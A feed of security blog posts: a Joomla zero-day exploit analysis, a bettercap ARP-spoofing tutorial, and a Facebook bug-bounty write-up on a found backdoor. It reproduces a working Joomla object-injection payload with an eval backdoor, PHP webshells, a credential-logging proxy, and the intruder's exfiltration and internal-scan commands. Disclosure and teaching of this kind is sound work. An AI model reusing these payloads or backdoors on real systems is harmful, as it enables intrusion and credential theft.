Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

In-depth analyses of the Joomla! 0-day User-Agent exploit

17 December 2015 at 16:20

On Monday, Joomla! released updates and hotfixes for all their versions. It had to patch a zero-day exploit that was already being used in the wild.Initial analysis by Sucuri, Metasploit and Reddit suggested it had something to do with the storage of the unsanitized User-Agent string into the session data. This session data was stored into an custom Joomla database (utf8_general_ci) and was executed as it was a close handler of the database. We will guide you through the exploit and explain how you can be secure by using standard security measures.

We’ve developed a PoC which injects a malicious payload executing phpinfo.

Part 1: Unsanitized use of data

The easiest part is getting data into the platform. All modern CMS’ have multiple input they take for various reasons. The sended headers, cookies, the url itself. All this data is being processed and, in a CMS, most likely stored somewhere (You’re better off using a static generator to shrink your input vector). In this case, we use the User-Agent or the HTTP_X_FORWARDED_FOR header. This header tells the server what type of client is trying to connect (operating system, browser, versions,…). This is not a mandatory step for many sites, but mainly used for statistics and some including extra javascript/css to enhance the experience of the user. In Joomla! this data is saved into the session.

// File: libraries/vendor/joomla/session/Joomla/Session/Session.php

// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
    $browser = $this->get('session.client.browser');

    if ($browser === null)
    {
        $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
    }
    elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
    {
        // @todo remove code:                           $this->_state   =       'error';
        // @todo remove code:                           return false;
    }
}

The code snippet above illustrates the fact that the User-Agent string is stored unescaped and unsanitized.

Advice: Always sanitize user input

Part 2: The custom session handler

Joomla! uses a custom session handler to save the session data. The function session_set_save_handler can be used to override the session handler. In the case of Joomla!, they don’t save it into files, but they save it into the database. This is what happens:

  • A session is started by session_start
  • The read handler is called and returns the session data
  • session_decode is used to decode the current session data.
  • The $_SESSION variable is filled

… Now you can change / add data to your $_SESSION array …

  • A session is closed by session_write_close (or termination of the PHP file)
  • The session variable is encoded by session_encode
  • The write handler is called to save the session data

session_encode / session_decode

This uses a special version of serialize, instead of serializing the full $_SESSION, it serializes the values and groups them together with pipes.

  • source: array(“a” => 5, “b” => 6)
  • serialize: a:2:{s:1:”a”;i:5;s:1:”b”;i:6;}
  • session_encode: a|i:5;b|i:6;

When done correctly, these functions do not introduce an attack vector. But because both are using different code, both code bases should be maintained, so they are kept code free. In case of serialize, more people look over it, while session_decode is somewhat left behind.

Joomla session handler

The handler writes the data with a PDO and uses quotes to make sure no SQL injection can happen. This is written really well.

public function write($id, $data)
{
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();

    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

    try
    {
        $query = $db->getQuery(true)
            ->update($db->quoteName('#__session'))
            ->set($db->quoteName('data') . ' = ' . $db->quote($data))
            ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

      // Try to update the session data in the database table.
      $db->setQuery($query);

      if (!$db->;execute())
      {
            return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
         Either the data changed, or the data was identical.
         In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
        return false;
    }
}

Though the following line is crucial to this bug:

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

When you serialize a class with protected variables, the difference between normal and protected variables is that protected variables are prefixed with “\0*\0”.

class CustomClass {
    protected $data = 5;
}
echo serialize(new CustomClass);

Gives you:

O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

But MySQL data can’t save null bytes, so the custom Joomla handler converts them to something that is supported (escaped version of zeros). This is handy because HTTP headers don’t allow null bytes, so you cannot pass null bytes through the HTTP headers. You wouldn’t be able to serialize the protected variables in a class, however the custom handler makes it possible.

Advice: Don’t reinvent the wheel, use the build-in functions (e.g. session handler).

Part 3: The session_decode bug (CVE-2015-6835)

As I’ve said earlier, if session_decode would decode the data properly, this exploit would not exist. Because nowhere in Joomla, they blatantly eval or serialize the User Agent. In januari 2015 a bug was found in the unserialize function (CVE-2015-0273). It made it possible to crash PHP (or execute own code) because it recreated the internal C structures, but didn’t check types. Functions would try to consume this structure and assuming a different type (e.g. using an int as pointer). This bug was quickly patched and a new version was released.

Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.

session_decode('user_agent|s:10:"test|i:5;')

Gives you:

array(
    'user_agent' => NULL
    '10:"test"' => 5  // Injected
)

Imagine that the bold part is your User Agent in the session data. If you can terminate the string after your injected code, you can create any variable you want, even objects. In part 3, we will search a way to terminate the string, in part 4 we will search how we can create objects that will be executed.

This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!

Advice: Make sure you always use the latest version of your software

Part 4: Making things easier, MySQL UTF-8 support

As described in the previous paragraph, we need a way to terminate the data of the session variable. Luckily, Joomla! uses an own implemented session handler that uses MySQL with utf8_general_ci collocation. Whenever this encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data. After inserting the session data through the custom Joomla session handlers, the following:

user_agent|s:10:"test|i:5;𝌆";a|i:1;b|i:2;

becomes

user_agent|s:10:"test|i:5;

And we have the required structure to use the session_decode bug.

Advice: Use escape functions that removes 4-byte UTF-8 symbols from input data

Part 5: The search for an executor

Now that we have a way to add contents to the $_SESSION variable, we can also create new objects and add them to the session variable. Thus now we have to search for something that will get executed. For example, take the following class in your application.

Now we have to search after a call_user_func_array that is called upon __wakeup or __destruct and let it call the init function of our SimplePie object. Multiple valid classes can be found, but the attackers used the JDatabaseDriverMysqli class that automatically calls some cleanup code on destruction. Below are the relevant parts of the class.

Summary

This exploit uses multiple bugs in various systems to run its code: it uses an unsanitized User-Agent that is saved in the session data. Because this data is saved with a custom Joomla session handler into the database, a MySQL truncation bug can be used to trigger a session_decode exploit, to break and create custom objects. Those objects are then used to create a payload that will be executed by the disconnect handler of the JDatabaseDriverMysqli class.

In our examples, we always use phpinfo, the real attack doesn’t embed the code to execute directly, they execute the code that enters the 111 post variable:

eval("base64_decode($_POST[111])")

So most attacks are used with some form of the following User-Agent:

jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";
a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;
s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;
s:8:"feed_url";s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Disclaimer: We added the real exploit for educational purposes (because they can be found everywhere in the forums), don’t use them against other sites!

Solution

Many security firms are giving you firewall / mod_security rules to fix this issue. Though, there are many security experts busy in all the upstream projects. They investigate and try to fix exploits as fast as possible. Mostly fixes are released before any exploits are used in the wild. In this case, the Joomla exploit was not fixed before the attacks, but the PHP bug was already fixed for 2 months. I don’t want to give firewall rules as solution. The best solution is to stay up-to-date with all your software. Upgrade Joomla to 3.4.6 or PHP to >= 5.4.45, >= 5.5.29, >= 5.6.13 (ps. Ubuntu and Debian packages also contain the fix).

Edit

Joomla has released 2 releases (3.4.6 and 3.4.7) to solve this issue. You are secure for the exploit in this form when using the 3.4.6 update, or an updated PHP version. Though it is certainly advised to upgrade to 3.4.7 because that version adds new security measures that makes sure variants of this exploit cannot happen.

3.4.6 Fix part 1 by sanitizing user input. The User-Agent isn’t saved anymore and the HTTP_X_FORWARDED_FOR should now be an IP. 3.4.7 Fix part 4 by encoding the session data with base64 before running it through session_encode. This way the truncation cannot happen because the 4-byte UTF-8 char is transformed.

 

Check your site against the exploit with our mini-scanner and know if your all your software are up to date with our full version scanner PatrolServer.

Filter unwanted solution cards

4 January 2016 at 11:38

Today we’re releasing the Ignore functionality for your solution cards. That means you can take full control over what type of solutions you’d like to see. Just as importantly, you can now report false positives where needed.

Hide cards you no longer want to see

Imagine you would like to hide the WordPress update card like the one above. All it takes is a simple click on the Ignore button, and it will take you to a wizard-style menu where you can add constraints about ignoring that particular card.

It is possible to hide the card forever, or you can tell the filter to hide just that particular version (note, if a new version of the software gets released, the card will be visible again).

View hidden cards

When you’ve hidden solution cards, they are not really gone. As the word describes, they are just hidden. When one or more cards are no longer visible, an option will be shown to view your hidden cards. They’re present in the same format as regular ones.

If you no longer want a filter to be applied, take a look at the Filters view where you can remove your active filters.

Until next time with a new awesome feature!

The free Burp Suite training is ready

By: geri
15 February 2016 at 08:00

I have been working on an online Burp Suite training for quite some time. It is finally ready.

It is based on the live Burp Suite workshop I held on conferences and for local meetup groups. You will get to know every module of the free edition of Burp and you will be able to try everything yourself with the WebGoat vulnerable web application. The course covers everything from setting up the test environment to trying most of the functionalities of Burp. It was also reviewed by Portswigger, the company behind Burp and they also mention it on their trainings site, so I guess they approve :). So check it out and don’t hesitate to give me feedback:
http://hackademy.aetherlab.net

Intro to ARP spoofing with bettercap

By: geri
15 February 2016 at 08:01

I recently discovered a fairly new man-in-the-middle tool called bettercap, which I will test in this video. I will explain the concept of ARP spoofing, install bettercap, and see how one can use it to sniff passwords on a network.

Here it is:

If you liked it, checkout my other trainings:
http://hackademy.aetherlab.net

If you need here is the full transcript of the video:

Hello there. My name is Gergely Revay or Geri. Today I’m gonna talk about bettercap. This is a new tool I found recently and it got my attention because it’s a man in the middle tool. And we talk about man in the middle attacks all the time like in an assessment when we say it’s bad to send stuff unencrypted on the network because a man in the middle attacker can then sniff your network and find out your passwords or anything. When I found this tool, I thought this would be a good opportunity to play a little bit with man in the middle attacks. So what I’m gonna do today is introduce bettercap, talk a little bit about network sniffing and ARP poisoning for those people who don’t really know what that is and how it works, and then we’ll install and try bettercap, the basic features. We’ll sniff network a little bit to find some passwords and talk about what bettercap is capable of.

So let’s start with the installation. So you can see here already, I have the bettercap website on my screen. And basically the installation is not that difficult because you can just use Ruby GEM to install. Bettercap is actually a full Ruby application and you can extend it in Ruby. So it’s good for you if you know Ruby well. Now, the installation is also documented in the website so you can check it out and also do it yourself. So let’s go to a terminal. First, I’m gonna install the dependencies, which some of it is already installed in Kali but I’m not gonna check exactly and just go on with the installation. And then it’s build essential Ruby development packages and libpcap for manipulating traffic. Yeah. So now we have the dependencies. Then let’s get on with the installation of bettercap. And it’s gem install bettercap. It’s gonna take a little bit so just be patient. Okay, the installation is ready so let’s see if we can execute it. Yes. So that’s how it works. That’s a good start.

Now, before I start getting into bettercap, I will just explain quickly how this network sniffing works, how ARP poisoning works, etc. For that, let me draw for you. So what happens here, I’m gonna use two computers, the Kali what you’ve seen and a Windows 8 machine. These are both virtual machines and they’re both on the same network. So what it essentially means is that we have Internet there. And then I have a router here. I have here my Kali and I have here my victim. So normally the victim communicates with the router directly and then that goes to the Internet.That goal that we want to reach is that this communication goes to Kali and then to the router. Now, bettercap offers different methods to do this. What we are gonna use is ARP poisoning, which means that Kali has a MAC address here. It’s called MAC K, let’s call it this way. He has a MAC V, and this has a MAC R. So these are normal MAC addresses that you already know. When the victim wants to go to the Internet, he has to first send the packets to the router. So what he will ask, he will know the IP address of the router, but he wants to find out what the MAC address for that IP address so that he can send the packet. He will ask the network what is the MAC address for that particular IP address.
Now, what bettercap does is whenever such a request happens, then he will always respond hopefully as the first responder. He always say that my MAC address is for that IP. So whenever the victim or the router or anybody else on this network asks for IP address or asks for the MAC address of an IP address, our attacker with bettercap will always say that my MAC address is related to this IP address. That way, basically, the victim is gonna think that on the network he has to send his packet first here because he will think that this is the router and then bettercap will relay this packet to the router but also when a packet comes back, the router will also think — because he will also request a MAC address – he will also think that Kali or bettercap is the victim. And then Kali will just relay again the packet to the victim. So we basically reached our goal here. Because of this ARP spoofing or ARP poisoning, all packets will cross our Kali machine through bettercap and then from this point on, basically bettercap is able to do whatever he wants with those packets. Bettercap also offers different tools to do different things with the traffic, but what we’re gonna try is just to look at the traffic find valuable information like passwords. So I hope that’s clear now, and I will just move on to working with bettercap and see how we can actually do a man in the middle attack.

So let’s look at our target first or our victim. So what I’m gonna try to do is to try to intercept the traffic of this victim. We are gonna try to intercept the HTTP traffic to a particular website is cheezburger.com. I chose this website mostly because I don’t use tis application. So we can login here. I will just do it first as a normal user, and then we will try to intercept that again with bettercap. So the user is [email protected]. This is my old website. Okay, you see I successfully logged in. Now we’re gonna try to intercept the same thing with bettercap. So I’ll log out, even close my browser.

So now what we have to do is to come back to Kali and start bettercap with the proper configuration to do the spoofing for us. So first we need bettercap. And then we want to sniff the network so we use the sniffer. And then as I said, you can use different techniques for spoofing. The default is the ARP spoofing, but I will specify it here anyway so you just have it on the comment line. And since we are gonna work with HTTP and HTTPS traffic probably, I will use the HTTP and HTTPS proxies offered by bettercap. And for that, you say proxy http and minus minus proxy https. And there are different parsers in bettercap. What I’m gonna use now is the custom parser. And I will look for something like “password” in the traffic. And then we hope that the password for Cheezburger.com is gonna be called by bettercap.

So let’s start the sniffing. What you see here is that bettercap started. First it tries to figure out the targets on the networks so which one is the gateway, which one’s on the other machine on the network so that he can spoof these machines on the network. Because we chose the HTTPS proxy, it will also generate a certificate for itself to try to avoid recognition. Of course, this is not a real valid Google.com certificate. It’s a fake, but it could be useful. So let’s go back to the victim’s machine. Let’s load Cheezburger. Now you see there are already lots of things happening here. You see all this content because that’s HTTP and that’s what we are looking for. You can also see that it’s from many different places. The thing is that the website is just full of different content from different websites so that’s why the requests go to basically everywhere all around the Internet and not only to Cheezburger.com.

Let’s try to login. So the user is [email protected]. Okay, and I will just quickly change back to Kali. Again, lots of things happened. Let’s just try to find our password. This looks interesting. This is a GET request to the LoginOrRegister service. And if you look through for the password, whatever, whatever, oh, here is, this is the e-mail address. So this is username. And oh, what we can see here is the password, and this is actually the password I used. So it worked out. Of course, you know, you have to really look at the traffic. Scroll here, scroll there, but it worked.

Another thing that I would like to mention is that originally I actually wanted to spoof HTTPS traffic, and I started to play with Cheezburger. And it turned out that it uses just HTTP so this password is not even encrypted on the network which is general bad. But yeah, it’s Cheezburger.com so I didn’t have really high expectations. But the point is that our network spoofing was successful. We were able to attract all traffic between the router and the victim computer to Kali, to bettercap. We were able to actually sniff the password of the user during the login. So that’s very good. That was our goal.

One really important thing is that when you close bettercap, you need to gracefully exit which is implemented when you do Ctrl+C because the thing is that ARP poisoning is actually poisoning the ARP cache of the other computers so before you exit, you have to change back the MAC addresses of their caches to the original one. Otherwise, the network will just die for some time until they figure out that the MAC address in the cache is wrong and then request for new MAC addresses. So it’s always important if you do ARP poisoning that you gracefully exit from the tool.

Another thing that I would like to mention is that bettercap is trying to be extensible. So
if you come here to the library and you look around a little bit, then you will see everything that you could use is here and you can start implementing your old things. You can start to implement your own proxy to do like portable things with the request like change the content of the request or change the content of the response automatically so then you don’t have to like look in the logs to find the password. You can just done the password for yourself automatically or you can manipulate every response so that the user sees something else. So there are lots of possibilities here. And I think @evilsocket, the guy who writes bettercap, he did a really good job here. So if you find this interesting, you can start playing with bettercap as well. If you do something cool like write your own proxy tool or any kind of extension, then let me know or comment here so that everybody knows that there’s something new here. Or if you discover something interesting, also just comment on this post. That’s it. I was Geri Revay from Aether Security Labs and take care. Keep hacking. Ciao.

How I Hacked Facebook, and Found Someone's Backdoor Script

20 April 2016 at 16:00

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)


Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <( ̄︶ ̄)>

Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.

With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:

  • What can I find by Google Hacking?
  • How many B Class IP addresses are used? How many C Class IPs?
  • Whois? Reverse Whois?
  • What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
  • What are their preferred techniques and equipment vendors?
  • Any data breach on Github or Pastebin?
  • …etc

Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.

Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.

  1. For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
  2. Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
  3. Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P

For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:

tfbnw.net

TFBNW seemed to stand for “TheFacebook Network
Then I found bellow server through public data

vpn.tfbnw.net

WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.

It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.


Vulnerability Discovery

I found a special server among these C Class IPs.

files.fb.com

files.fb.com ↑ Login Interface of files.fb.com


Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)

FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.

Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory

Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!

Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!

The FTA Product

  1. Web-based user interfaces were mainly composed of Perl & PHP
  2. The PHP source codes were encrypted by IonCube
  3. Lots of Perl Daemons in the background

First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…

After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!

Finally, I found 7 vulnerabilities, including

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

More details will be published after full disclosure policy!

shell on facebook ↑ Using Pre-Auth SQL Injection to Write Webshell


After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P

There are some restrictions on the server:

  1. Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
  2. Remote Syslog server
  3. Auditd logs enabled

Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.


Was There Something Strange?

While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.

First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log
These error messages seemed to be caused by modifying codes online?

PHP error log ↑ PHP error log


I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.

Webshell on facebook server ↑ Webshell on facebook server

some contents of the files are as follows:

sshpass

Right, THAT sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// blah blah blah...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 

// blah blah blah...

The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc

In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.

A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

logged password
↑ Logged passwords


From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)

And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login

  1. Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
  2. All Facebook employees (@fb.com) used LDAP and authenticated by AD Server

I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…

In addition, this hacker might be careless:P

  1. The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
  2. When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen


From access.log, every few days the hacker will clear all the credentials he logged

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...


Packing files

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files


Enumerating internal network architecture

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...


Use ShellScript to scan internal network but forgot to redirect STDERR XD Port Scanning

Attempt to connect internal LDAP server

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'


Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.


Attempt to steal SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input


After checking the browser, the SSL certificate of files.fb.com was *.fb.com …

certificate of files.fb.com


Epilogue

After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD

Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September

the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.


Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P

Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )



Timeline

  • 2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
  • 2016/02/05 20:08 Receive automatic response
  • 2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
  • 2016/02/06 07:42 Receive response from Thomas that inspection is in progress
  • 2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
  • 2016/02/13 Asking if there anything I should pay special attention to in blog post ?
  • 2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
  • 2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
  • 2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
  • 2016/04/20 Receive response from Reginaldo about the forensics investigation is done

滲透 Facebook 的思路與發現

20 April 2016 at 16:00

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)


寫在故事之前

身為一位滲透測試人員,比起 Client Side 的弱點我更喜歡 Server Side 的攻擊,能夠直接的控制伺服器、獲得權限操作 SHELL 才爽 <( ̄︶ ̄)>

當然一次完美的滲透任何形式的弱點都不可小覷,在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制伺服器,但是在尋找弱點時我本身還是先偏向以可直接進入伺服器的方式來去尋找風險高、能長驅直入的弱點。

隨著 Facebook 在世界上越來越火紅、用戶量越來越多,一直以來都有想要嘗試看看的想法,恰巧 Facebook 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集資料、偵查開始,首先界定出目標在網路上的 “範圍” 有多大,姑且可以評估一下從何處比較有機會下手。例如:

  • Google Hacking 到什麼資料?
  • 用了幾個 B 段的 IP ? C 段的 IP ?
  • Whois? Reverse Whois?
  • 用了什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描
  • 公司平常愛用什麼樣技術、設備?
  • 在 Github, Pastebin 上是否有洩漏什麼資訊?
  • …etc

當然 Bug Bounty 並不是讓你無限制的攻擊,將所蒐集到的範圍與 Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這裡舉幾個例子來探討

